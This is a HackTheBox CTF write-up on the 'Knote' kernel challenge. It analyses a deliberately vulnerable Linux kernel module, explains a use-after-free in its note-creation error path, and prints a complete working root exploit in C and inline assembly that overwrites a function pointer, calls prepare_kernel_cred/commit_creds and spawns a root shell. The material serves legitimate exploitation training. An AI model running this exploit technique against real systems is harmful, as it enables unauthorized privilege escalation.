Knote (HackTheBox)

Heya infosec folks, in this write-up we will cover the Knote (kernel-note) kernel-pwn challenge on HackTheBox. We can trigger a local privilege escalation attack by exploiting a use-after-free bug. The description of the challenge is as follows:

Secure your secrets in the kernel space!

Summary

  • What are kernel modules?
  • How does this kernel CTF work?
  • Analyzing the kmodule
  • Finding primitives
  • Creating an exploit
  • Creating a real world version

What are kernel modules?

Linux kernel modules are a way to extend the Linux kernel in a hotswappable way. Kernel modules are also used for creating drivers, which is why it's useful to learn how to exploit them. Thankfully, you can use the same pwn / exploitation techniques in kernel modules as in the core Linux kernel.

Kernel modules (kmodules) can do a lot of things that the core kernel can do as well: manage a virtual filesystem such as /proc, manage task structs, et cetera. They can register a device file as well, which you can use to communicate with the kmodule using read(), write(), ioctl(), et cetera.

You can insert, list, and remove kernel modules by respectively using the binaries insmod, lsmod, and rmmod.

How do kernel pwn CTFs work?

The goal of most kernel pwn CTFs are local privilege escalation exploits, in which a user becomes root in order to read a root-only flag file. Typically, you will be given 3 files:

  • qemu.sh: a BASH script to run a QEMU command. QEMU (Quick EMUlator) is a FOSS instructionset simulator which you can use to run custom Linux kernels in custom filesystems. It may sound like a VM, but it is not.
  • initramfs.cpio.gz / rootfs.img: the custom (compressed) filesystem to run QEMU with.
  • bzImage : the custom Linux kernel to run QEMU with.

Make sure to remove -no-kvm from qemu.sh as it is for old versions of Qemu. Also note that there's no kaslr, no smap, no smep, etc.

#!/bin/bash

timeout --foreground 35 qemu-system-x86_64 -m 128M \
  -kernel ./bzImage \
  -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
  -monitor /dev/null \
  -initrd ./initramfs.cpio.gz \
  -cpu qemu64 \
  -smp cores=1 \
  -nographic

qemu.sh content

Now you might see that I use initramfs.cpio.gz instead of the initramfs.cpio.gz which is supplied in the challenge. This is because I first extracted it using cpio -iF rootfs.img. After that, I used the following scripts to compress and decompress the resulting directory:

#!/bin/bash

if [ "$1" = "" ]; then
    echo "usage: $0 <initramfs.cpio.gz>";
else

    # Decompress a .cpio.gz packed file system
    mkdir initramfs
    pushd . && pushd initramfs
    cp ../$1 .
    gzip -dc $1 | cpio -idm &>/dev/null && rm $1
    popd
fi

decompress.sh

#!/bin/bash

# Compress initramfs with the included statically linked exploit
in=$1
out=$(echo $in | awk '{ print substr( $0, 1, length($0)-2 ) }')
musl-gcc $in -static -pie -s -O0 -fPIE -o $out || exit 255
mv $out initramfs
pushd . && pushd initramfs
find . -print0 | cpio --null --format=newc -o 2>/dev/null | gzip -9 > ../initramfs.cpio.gz
popd

compress.sh

So firstly I create an initramfs.cpio.gz for QEMU using irfs_compress.sh initramfs/exploit.c && ./qemu-cmd.sh. Now, we can test QEMU by running ./qemu.sh:

sh: can't access tty; job control turned off
~ $ whoami
user
~ $

Qemu proof-of-concept (PoC)

Analyzing the kmodule

We are given the following C sourcecode of the knote.ko kernel module:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "knote"
#define CLASS_NAME "knote"

MODULE_AUTHOR("r4j");
MODULE_DESCRIPTION("Secure your secrets in the kernelspace");
MODULE_LICENSE("GPL");

static DEFINE_MUTEX(knote_ioctl_lock);
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg);

static int major;
static struct class *knote_class  = NULL;
static struct device *knote_device = NULL;
static struct file_operations knote_fops = {
    .unlocked_ioctl = knote_ioctl
};

struct knote {
    char *data;
    size_t len;
    void (*encrypt_func)(char *, size_t);
    void (*decrypt_func)(char *, size_t);
};

struct knote_user {
    unsigned long idx;
    char * data;
    size_t len;
};

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

struct knote *knotes[10];

void knote_encrypt(char * data, size_t len) {
    int i;
    for(i = 0; i < len; ++i)
        data[i] ^= 0xaa;
}

void knote_decrypt(char *data, size_t len) {
    knote_encrypt(data, len);
}

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;
    switch(cmd) {
        case KNOTE_CREATE:
            if(ku.len > 0x20 || ku.idx >= 10)
                return -EINVAL;
            char *data = kmalloc(ku.len, GFP_KERNEL);
            knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
            if(data == NULL || knotes[ku.idx] == NULL) {
                mutex_unlock(&knote_ioctl_lock);
                return -ENOMEM;
            }

            knotes[ku.idx]->data = data;
            knotes[ku.idx]->len = ku.len;
            if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
                kfree(knotes[ku.idx]->data);
                kfree(knotes[ku.idx]);
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            knotes[ku.idx]->encrypt_func = knote_encrypt;
            knotes[ku.idx]->decrypt_func = knote_decrypt;
            break;
        case KNOTE_DELETE:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            kfree(knotes[ku.idx]->data);
            kfree(knotes[ku.idx]);
            knotes[ku.idx] = NULL;
            break;
        case KNOTE_READ:
            if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            break;
        case KNOTE_ENCRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
         case KNOTE_DECRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
        default:
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
    }
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

static int __init init_knote(void) {
    major = register_chrdev(0, DEVICE_NAME, &knote_fops);
    if(major < 0)
        return -1;

    knote_class = class_create(THIS_MODULE, CLASS_NAME);
    if (IS_ERR(knote_class)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
    if (IS_ERR(knote_device))
    {
        class_destroy(knote_class);
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    return 0;
}

static void __exit exit_knote(void)
{
    device_destroy(knote_class, MKDEV(major, 0));
    class_unregister(knote_class);
    class_destroy(knote_class);
    unregister_chrdev(major, DEVICE_NAME);
}

module_init(init_knote);
module_exit(exit_knote);

Knote.c sourceode

The first thing that the kernel calls in a newly inserted module (c.q. knote.ko) is the function with keyword __init, which in this case belongs to the following init functions:

static int __init init_knote(void) {
    major = register_chrdev(0, DEVICE_NAME, &knote_fops);
    if(major < 0)
        return -1;

    knote_class = class_create(THIS_MODULE, CLASS_NAME);
    if (IS_ERR(knote_class)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
    if (IS_ERR(knote_device))
    {
        class_destroy(knote_class);
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    return 0;
}

First function called in the kmodule

As we can see, it registers a character device (chrdev) with the name "knote" and it enables the device operation unlocked_iotctl, which means that it's possible to interact with the device using ioctl().

static struct file_operations knote_fops = {
    .unlocked_ioctl = knote_ioctl
};

Knote.ko file operations

This means that our only userland form of messing with the kmodule is using ioctl() to interact with the knote_ioctl function. As said, we need to use int ioctl(int fd, unsigned long request, ...) in the exploit to pass the file, cmd and arg arguments to long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) . This function performs several commands: KNOTE_CREATE, KNOTE_DELETE, KNOTE_READ, KNOTE_ENCRYPT and KNOTE_DECRYPT.

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;

    switch(cmd) {
        case KNOTE_CREATE:
            // unsigned values
            if(ku.len > 0x20 || ku.idx >= 10)
                return -EINVAL;

            // create knote
            char *data = kmalloc(ku.len, GFP_KERNEL);
            knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
            if(data == NULL || knotes[ku.idx] == NULL) 
            {
                mutex_unlock(&knote_ioctl_lock);
                return -ENOMEM;
            }

            // copy userdata to note data
            knotes[ku.idx]->data = data;
            knotes[ku.idx]->len = ku.len;
            if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
                kfree(knotes[ku.idx]->data);
                kfree(knotes[ku.idx]);
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            knotes[ku.idx]->encrypt_func = knote_encrypt;
            knotes[ku.idx]->decrypt_func = knote_decrypt;
            break;
        case KNOTE_DELETE:
            if(ku.idx >= 10 || !knotes[ku.idx]) 
            {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            
            kfree(knotes[ku.idx]->data);
            kfree(knotes[ku.idx]);
            knotes[ku.idx] = NULL;
            break;
        case KNOTE_READ:
            if (ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len)
            {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            
            if (copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) 
            {
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            break;
        case KNOTE_ENCRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) 
            {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }

            knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
         case KNOTE_DECRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }

            knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
        default:
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
    }
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

knote_ioctl() - used for interacting throug ioctl()

As we can read, the arg parameter is used to supply values to a knote_user object, using copy_from_user(&ku, arg, sizeof(struct knote_user)): copies sizeof(struct knote_user) bytes from userland pointer arg to kernel pointer ko. Secondly, it executes one of the KNOTE_<CMD> cases.

Finding primitives

The first step of exploit development is identifying protections: earlier we found out that there's no active kernel protections (no kaslr, no smap, no smep, et cetera). Next, there's finding exploit primitives: let's start off with finding execution flow hijacking. Firstly I checked for any forms of buffer overflow bugs on the stack and on the heap, but I couldn't find anything. However, once I took a look at KNOTE_CREATE, I saw that a use-after-free bug can be triggered.

Finding a memory corruption bug

The KNOTE_CREATE command allocates a knote and it's data using kmalloc, which stands for kernel malloc. Then, it tries to copy the userland data to the kernel note data. However if that copy fails, it will kfree (kernel free) both the kernel note and the kernel notes' data.

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;

    switch(cmd) {
        case KNOTE_CREATE:
            // unsigned values
            if(ku.len > 0x20 || ku.idx >= 10)
                return -EINVAL;

            // create knote
            char *data = kmalloc(ku.len, GFP_KERNEL);
            knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
            // ...
            
            // copy userdata to note data
            knotes[ku.idx]->data = data;
            knotes[ku.idx]->len = ku.len;
            if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
                kfree(knotes[ku.idx]->data);
                kfree(knotes[ku.idx]);
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            knotes[ku.idx]->encrypt_func = knote_encrypt;
            knotes[ku.idx]->decrypt_func = knote_decrypt;
            break;
        // ...
        default:
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
    }
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

Before we dive into the details, please realize that the kernel heap cache works like a stack containing heap chunk pointers: you push them with kfree and pop them with kmalloc

It took me a bit of puzzling but I figured out that we can leverage this to trigger a use-after-free (UAF) bug. If we create a knote that fails copy_from_user by providing an invalid pointer, the kmodule will kfree(data) and after that it will kfree(knote) but it wont reset knotes[ku.idx] = NULL. Additionally, the allocation is in the wrong order of kmalloc(data) and then kmalloc(knote). Because of this, a weird UAF scenario arises in the kernel memory cache where we can overwrite knotes[ku.idx] with userland ku.data. For clarification of this mindboggling bug I have made the following diagram:

Description of th UAF bug

Finding a way to hijack execution flow

Now we have a UAF bug, we need to find ways to get code execution by utilizing it. After analyzing more commands, I noted that the KNOTE_ENCRYPT command calls knote->encrypt_func, stored in the knote structure.

struct knote {
    char *data;
    size_t len;
    void (*encrypt_func)(char *, size_t);
    void (*decrypt_func)(char *, size_t);
};

The knote structure

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;

    switch(cmd) {
        // ...
        case KNOTE_ENCRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) 
            {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }

            knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
         // ...
        default:
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
    }
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

The KNOTE_ENCRYPT command

This means that we can execute arbitrary code by committing a UAF bug, overwrite knote->encrypt_func and calling it.

Creating an exploit

So now we have our primitives to get local code execution through a UAF bug in the kernel module, we can start building the exploit. Firstly, I defined a bunch of kernel module specific code, such as the structures and ioctl() calls to interact with the kmodule. These structures are copy/pasted from the knote.c file.

int FD_KNOTE;

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};


typedef struct {
    unsigned long idx;
    char * data;
    size_t len;
} knote_user_t;


typedef struct {
    char *data;
    size_t len;
    void (*encrypt_func)(char *, size_t);
    void (*decrypt_func)(char *, size_t);
} knote_t;


void cmd_send(unsigned long cmd, unsigned long idx, char* data, size_t len)
{
    knote_user_t user;
    user.idx = idx;
    user.data = data;
    user.len = len;

    int retv = ioctl(FD_KNOTE, cmd, &user);
    printf("ioctl(fd=%d, cmd=0x%x, &ku=%p) -> %d\n", FD_KNOTE, cmd, &user, retv);
}

The contextual part of the exploit

After I got all necessary kernel module code, I created the UAF code. Please ignore the set_ctx_reg() and &privesc_ctx_swp variables. As you can see, we're firstly triggering the swap by allocating a knote with an invalid data pointer so that kn->data becomes kn. Then, we're allocating our custom kn by passing it as kn->data. Please note that I'm using knote index 1, and not 0 to prevent encrypt_func from being overwritten in the following code of knote.c:

switch(cmd) {
    case KNOTE_CREATE:
		// copy userdata to note data
        knotes[ku.idx]->data = data;
        knotes[ku.idx]->len = ku.len;
        if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
            kfree(knotes[ku.idx]->data);
            kfree(knotes[ku.idx]);
            mutex_unlock(&knote_ioctl_lock);
            return -EFAULT;
        }
        knotes[ku.idx]->encrypt_func = knote_encrypt;
        knotes[ku.idx]->decrypt_func = knote_decrypt;
}

The code overwriting encrypt_func

#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <unistd.h>
#include "kpwn.c"


int FD_KNOTE;

enum knote_ioctl_cmd {
    // ...
};


typedef struct {
    // ...
} knote_user_t;


typedef struct {
    // ...
} knote_t;


void cmd_send(unsigned long cmd, unsigned long idx, char* data, size_t len)
{
	// ...
}

void main()
{
    FD_KNOTE = open("/dev/knote", O_RDONLY);
    if (FD_KNOTE < 0)
    {
        puts("main(): open failed");
        exit(1);
    }

    /* case KNOTE_CREATE:
     *     char *data = kmalloc(ku.len, GFP_KERNEL);
     *     knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
     *     knotes[ku.idx]->data = data;
     *     knotes[ku.idx]->len = len;
     *     if (copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) 
     *     {
     *         kfree(knotes[ku.idx]->data);
     *         kfree(knotes[ku.idx]);
     *         return -EFAULT;
     *     }
     *
     *      knotes[ku.idx]->encrypt_func = knote_encrypt;
     *      knotes[ku.idx]->decrypt_func = knote_decrypt;
     *
     * doesn't reset ku.idx upon fail, does 1 kmalloc
     * note: kmalloc(data) used to fill kfree(knote)
     */

    puts("[*] creating note 0: fail pls");
    cmd_send(KNOTE_CREATE, 0, (void*)0x1337, 32);
 
    set_ctx_reg();

    knote_t payload_knote;
    payload_knote.data = "idc3";
    payload_knote.len = 5;
    payload_knote.encrypt_func = &privesc_ctx_swp;
    payload_knote.decrypt_func = &privesc_ctx_swp;

    prepare_kernel_cred = 0xffffffff81053c50;
    commit_creds = 0xffffffff81053a30;

    printf("[*] new knote_t size: %lu\n", sizeof(knote_t));
    puts("[*] allocating malicious payload knote");
    cmd_send(KNOTE_CREATE, 1, &payload_knote, 32);
    
    // ...
}

The new code that triggers UAF

Then, we're triggering the function call to encrypt_func by using KNOTE_ENCRYPT:

#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <unistd.h>
#include "kpwn.c"


int FD_KNOTE;

enum knote_ioctl_cmd {
    // ...
};


typedef struct {
    // ...
} knote_user_t;


typedef struct {
    // ...
} knote_t;


void cmd_send(unsigned long cmd, unsigned long idx, char* data, size_t len)
{
    // ...
}

void main()
{
    // ...
    
    /* case KNOTE_ENCRYPT:
     *     if (ku.idx >= 10 || !knotes[ku.idx]) 
     *     {
     *         mutex_unlock(&knote_ioctl_lock);
     *         return -EINVAL;
     *     }
     *     knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
     * 
     * trigger function call to encrypt_fun
     */
    puts("[*] calling (hopefully overwrited) encrypt function");
    cmd_send(KNOTE_ENCRYPT, 0, "idc4", 5);

    puts("[-] exploit failed :(");
}

The code triggering the exploit

Now, coming back to set_ctx_reg() and privesc_ctx_swp(). When we commit the code execution attack in the kmodule, we are in kernel space whilst we want to run a shell as root in userland. In order to get our beloved shell, we need to perform a context swap from kernel to userland. Such context swaps happen with every system call being made in the kernel so it's very important. In order to keep this write-up relatively short, you can read more about context swapping in the context swapping blogpost by geekculture.

Since these functions are very standard and used in most kernel pwn challenges I made it a header file:

long prepare_kernel_cred = 0xDEADC0D3;
long commit_creds = 0xDEADC0DE;
long _proc_cs, _proc_ss, _proc_rsp, _proc_rflags = 0;

void set_ctx_reg() {
    __asm__(".intel_syntax noprefix;"
            "mov _proc_cs, cs;"
            "mov _proc_ss, ss;"
            "mov _proc_rsp, rsp;"
            "pushf;" // push rflags
            "pop _proc_rflags;"
            ".att_syntax");

    printf("[+] CS: 0x%lx, SS: 0x%lx, RSP: 0x%lx, RFLAGS: 0x%lx\n", _proc_cs, _proc_ss, _proc_rsp, _proc_rflags);
}


void spawn_shell()
{
    puts("[+] Hello Userland!");
    int uid = getuid();
    if (uid == 0)
        printf("[+] UID: %d (root poggers)\n", uid);
    else {
        printf("[!] UID: %d (epic fail)\n", uid);
    }

    puts("[*] starting shell");
    system("/bin/sh");

    puts("[*] quitting exploit");
    exit(0); // avoid ugly segfault
}

void privesc_ctx_swp()
{
    __asm__(".intel_syntax noprefix;"
            /**
             * struct cred *prepare_kernel_cred(struct task_struct *daemon)
             * @daemon: A userspace daemon to be used as a reference
             *
             * If @daemon is supplied, then the security data will be derived from that;
             * otherwise they'll be set to 0 and no groups, full capabilities and no keys.
             *
             * Returns the new credentials or NULL if out of memory.
             */
            "xor rdi, rdi;"
            "movabs rax, prepare_kernel_cred;"
            "call rax;" // prepare_kernel_cred(0)

            /**
             * int commit_creds(struct cred *new)
             * @new: The credentials to be assigned
             */
            "mov rdi, rax;" // RAX contains cred pointer
            "movabs rax, commit_creds;"
            "call rax;"

            // setup the context swapping
            "swapgs;" // swap GS to userland

            "mov r15, _proc_ss;"
            "push r15;"
            "mov r15, _proc_rsp;"
            "push r15;"
            "mov r15, _proc_rflags;"
            "push r15;"
            "mov r15, _proc_cs;"
            "push r15;"
            "lea r15, spawn_shell;" // lea rip, spawn_shell ; when returning to userland
            "push r15;"
            "iretq;" // swap context to userland
            ".att_syntax;");
}

Content of kpwn.c

Basically in a nutshell, the context swap requires the registers ss, rsp, rflags and cs from userland, since they are mission critical for returning to userland context. We store those registers in the set_ctx_reg() function:

long _proc_cs, _proc_ss, _proc_rsp, _proc_rflags = 0;

void set_ctx_reg() {
    __asm__(".intel_syntax noprefix;"
            "mov _proc_cs, cs;"
            "mov _proc_ss, ss;"
            "mov _proc_rsp, rsp;"
            "pushf;" // push rflags
            "pop _proc_rflags;"
            ".att_syntax");

    printf("[+] CS: 0x%lx, SS: 0x%lx, RSP: 0x%lx, RFLAGS: 0x%lx\n", _proc_cs, _proc_ss, _proc_rsp, _proc_rflags);
}

set_ctx_reg() content

After we set them, we can use our own privesc and context swap function which also sets the new userland execution pointer. Keep in mind that the following code snippet uses global variables in the assembly. The code starts off by calling prepare_kernel_cred(0) (which prepares the credentials to be set to UID 0 and GID 0) and then calls commit_creds(creds) to set the process credentials indefinitely. At last, it prepares the context swap registers and performs the context swap.

void privesc_ctx_swp()
{
    __asm__(".intel_syntax noprefix;"
            /**
             * struct cred *prepare_kernel_cred(struct task_struct *daemon)
             * @daemon: A userspace daemon to be used as a reference
             *
             * If @daemon is supplied, then the security data will be derived from that;
             * otherwise they'll be set to 0 and no groups, full capabilities and no keys.
             *
             * Returns the new credentials or NULL if out of memory.
             */
            "xor rdi, rdi;"
            "movabs rax, prepare_kernel_cred;"
            "call rax;" // prepare_kernel_cred(0)

            /**
             * int commit_creds(struct cred *new)
             * @new: The credentials to be assigned
             */
            "mov rdi, rax;" // RAX contains cred pointer
            "movabs rax, commit_creds;"
            "call rax;"

            // setup the context swapping
            "swapgs;" // swap GS to userland

            "mov r15, _proc_ss;"
            "push r15;"
            "mov r15, _proc_rsp;"
            "push r15;"
            "mov r15, _proc_rflags;"
            "push r15;"
            "mov r15, _proc_cs;"
            "push r15;"
            "lea r15, spawn_shell;" // lea rip, spawn_shell ; when returning to userland
            "push r15;"
            "iretq;" // swap context to userland
            ".att_syntax;");
}

The privesc_ctx_swp() function

This sets the new RIP to spawn_shell, which contains our userland code to spawn a shell:

void spawn_shell()
{
    puts("[+] Hello Userland!");
    int uid = getuid();
    if (uid == 0)
        printf("[+] UID: %d (root poggers)\n", uid);
    else {
        printf("[!] UID: %d (epic fail)\n", uid);
    }

    puts("[*] starting shell");
    system("/bin/sh");

    puts("[*] quitting exploit");
    exit(0); // avoid ugly segfault
}

The spawn_shell() function which calls /bin/sh from userland

In our exploit we prepared the userland context registers, made a fake UAF knote object that would trigger privesc_ctx_swp, and set the addresses for the kernel functions prepare_kernel_cred and commit_creds.

    set_ctx_reg();

    knote_t payload_knote;
    payload_knote.data = "idc3";
    payload_knote.len = 5;
    payload_knote.encrypt_func = &privesc_ctx_swp;
    payload_knote.decrypt_func = &privesc_ctx_swp;

    prepare_kernel_cred = 0xffffffff81053c50;
    commit_creds = 0xffffffff81053a30;

    printf("[*] new knote_t size: %lu\n", sizeof(knote_t));
    puts("[*] allocating malicious payload knote");
    cmd_send(KNOTE_CREATE, 1, &payload_knote, 32);

A subsection of the exploit which sets the privesc up

Then, I tested the exploit locally by compiling it using compress.sh (given earlier in this post):

~ $ whoami
user
~ $ /exploit
exploit         exploit_easy    exploit_easy.c  exploit_real.c
~ $ /exploit_easy
[*] creating note 0: fail pls
ioctl(fd=3, cmd=0x1337, &ku=0x7fff3d3605c0) -> -1
[+] CS: 0x33, SS: 0x2b, RSP: 0x7fff3d3605e0, RFLAGS: 0x246
[*] new knote_t size: 32
[*] allocating malicious payload knote
ioctl(fd=3, cmd=0x1337, &ku=0x7fff3d3605c0) -> 0
[*] calling (hopefully overwrited) encrypt function
[+] Hello Userland!
[+] UID: 0 (root poggers)
[*] starting shell
/bin/sh: can't access tty; job control turned off
/home/user # whoami
root
/home/user #

Exploit proof-of-concept (PoC)

If you want to try the exploit yourself, here's the complete source code for exploit.c:

#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <unistd.h>
#include "kpwn.c"


int FD_KNOTE;

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};


typedef struct {
    unsigned long idx;
    char * data;
    size_t len;
} knote_user_t;


typedef struct {
    char *data;
    size_t len;
    void (*encrypt_func)(char *, size_t);
    void (*decrypt_func)(char *, size_t);
} knote_t;


void cmd_send(unsigned long cmd, unsigned long idx, char* data, size_t len)
{
    knote_user_t user;
    user.idx = idx;
    user.data = data;
    user.len = len;

    int retv = ioctl(FD_KNOTE, cmd, &user);
    printf("ioctl(fd=%d, cmd=0x%x, &ku=%p) -> %d\n", FD_KNOTE, cmd, &user, retv);
}

void main()
{
    FD_KNOTE = open("/dev/knote", O_RDONLY);
    if (FD_KNOTE < 0)
    {
        puts("main(): open failed");
        exit(1);
    }

    /* case KNOTE_CREATE:
     *     char *data = kmalloc(ku.len, GFP_KERNEL);
     *     knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
     *     knotes[ku.idx]->data = data;
     *     knotes[ku.idx]->len = len;
     *     if (copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) 
     *     {
     *         kfree(knotes[ku.idx]->data);
     *         kfree(knotes[ku.idx]);
     *         return -EFAULT;
     *     }
     *
     *      knotes[ku.idx]->encrypt_func = knote_encrypt;
     *      knotes[ku.idx]->decrypt_func = knote_decrypt;
     *
     * doesn't reset ku.idx upon fail, does 1 kmalloc
     * note: kmalloc(data) used to fill kfree(knote)
     */

    puts("[*] creating note 0: fail pls");
    cmd_send(KNOTE_CREATE, 0, (void*)0x1337, 32);
 
    set_ctx_reg();

    knote_t payload_knote;
    payload_knote.data = "idc3";
    payload_knote.len = 5;
    payload_knote.encrypt_func = &privesc_ctx_swp;
    payload_knote.decrypt_func = &privesc_ctx_swp;

    prepare_kernel_cred = 0xffffffff81053c50;
    commit_creds = 0xffffffff81053a30;

    printf("[*] new knote_t size: %lu\n", sizeof(knote_t));
    puts("[*] allocating malicious payload knote");
    cmd_send(KNOTE_CREATE, 1, &payload_knote, 32);
    
    /* case KNOTE_ENCRYPT:
     *     if (ku.idx >= 10 || !knotes[ku.idx]) 
     *     {
     *         mutex_unlock(&knote_ioctl_lock);
     *         return -EINVAL;
     *     }
     *     knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
     * 
     * trigger function call to encrypt_fun
     */
    puts("[*] calling (hopefully overwrited) encrypt function");
    cmd_send(KNOTE_ENCRYPT, 0, "idc4", 5);

    puts("[-] exploit failed :(");
}

Complete exploit.c

Now it's time to perform the exploit on the remote machine. I wisely chose musl-gcc as the compiler in compress.sh since it decreases the size of static builds A LOT. The static binary sizes from gcc and musl-gcc are respectfully 800000 bytes and 34000 bytes. In order to transfer the exploit to the remote machine, I used encode.sh to encode the exploit binary, copy it to clipboard and decoded it using BASH utilities on the remote machine:

tar -czO $1 | base64 -w160


echo "\n\n===== TO DECODE =====" > /dev/stderr
echo "echo <...> | base64 -d | tar -xzO > exploit" > /dev/stderr

The encode.sh used to transfer files from local machine to the remote CTF box

$ encode.sh initramfs/exploit | xsel -b


===== TO DECODE =====
echo <...> | base64 -d | tar -xzO > exploit

Proof-of-concept of encode.sh to encode the binary

Afterword

I really hope you enjoyed the challenge and write-up as much as I did. Please let me know on Twitter if you want me to make a write-up about exploiting this CTF with real kernel primitives like seq_operations and setxattr.

If you like this pwn content, please checkout the HackTheBox - Blacksmith write-up, or checkout the Heap Memory and Linux Kernel tag pages on the site to read more kernel related blogposts.